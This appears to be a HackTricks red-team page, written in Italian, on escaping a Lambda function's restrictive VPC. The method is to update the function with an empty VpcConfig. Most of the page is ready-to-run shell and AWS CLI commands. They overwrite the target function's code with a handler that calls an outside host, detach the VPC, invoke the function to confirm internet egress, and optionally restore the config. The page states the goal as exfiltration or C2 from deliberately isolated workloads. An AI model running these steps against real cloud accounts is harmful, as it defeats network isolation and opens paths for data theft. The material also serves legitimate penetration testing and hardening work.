AWS Lambda – VPC Egress Bypass by Detaching VpcConfig

Reading time: 3 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Forza una funzione Lambda fuori da una VPC restrittiva aggiornando la sua configurazione con una VpcConfig vuota (SubnetIds=[], SecurityGroupIds=[]). La funzione verrà eseguita nel Lambda-managed networking plane, riottenendo l'accesso Internet in uscita e bypassando i controlli di egress applicati da subnet private della VPC senza NAT.

Abuso

  • Prerequisiti: lambda:UpdateFunctionConfiguration sulla funzione target (e lambda:InvokeFunction per validare), oltre ai permessi per aggiornare code/handler se li si modifica.
  • Assunzioni: la funzione è attualmente configurata con VpcConfig che punta a subnet private senza NAT (quindi l'accesso Internet in uscita è bloccato).
  • Regione: us-east-1

Passaggi

  1. Prepara un handler minimale che dimostri che l'HTTP in uscita funziona

cat > net.py <<'PY' import urllib.request, json

def lambda_handler(event, context): try: ip = urllib.request.urlopen('https://checkip.amazonaws.com', timeout=3).read().decode().strip() return {"egress": True, "ip": ip} except Exception as e: return {"egress": False, "err": str(e)} PY zip net.zip net.py aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true

  1. Registra l'attuale VpcConfig (per ripristinarla più tardi se necessario)

aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json cat /tmp/orig-vpc.json

  1. Sgancia la VPC impostando liste vuote

aws lambda update-function-configuration
--function-name $TARGET_FN
--vpc-config SubnetIds=[],SecurityGroupIds=[]
--region $REGION until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done

  1. Invoca e verifica l'accesso in uscita

aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null cat /tmp/net-out.json

(Opzionale) Ripristina la VpcConfig originale

if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json) aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION fi

Impatto

  • Riottiene accesso Internet in uscita non filtrato dalla funzione, consentendo esfiltrazione di dati o C2 da workload che erano intenzionalmente isolati in subnet private senza NAT.

Esempio di output (dopo aver sganciato la VpcConfig)

{"egress": true, "ip": "34.x.x.x"}

Pulizia

  • Se hai creato modifiche temporanee al codice/handler, ripristinale.
  • Opzionalmente ripristina la VpcConfig originale salvata in /tmp/orig-vpc.json come mostrato sopra.

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks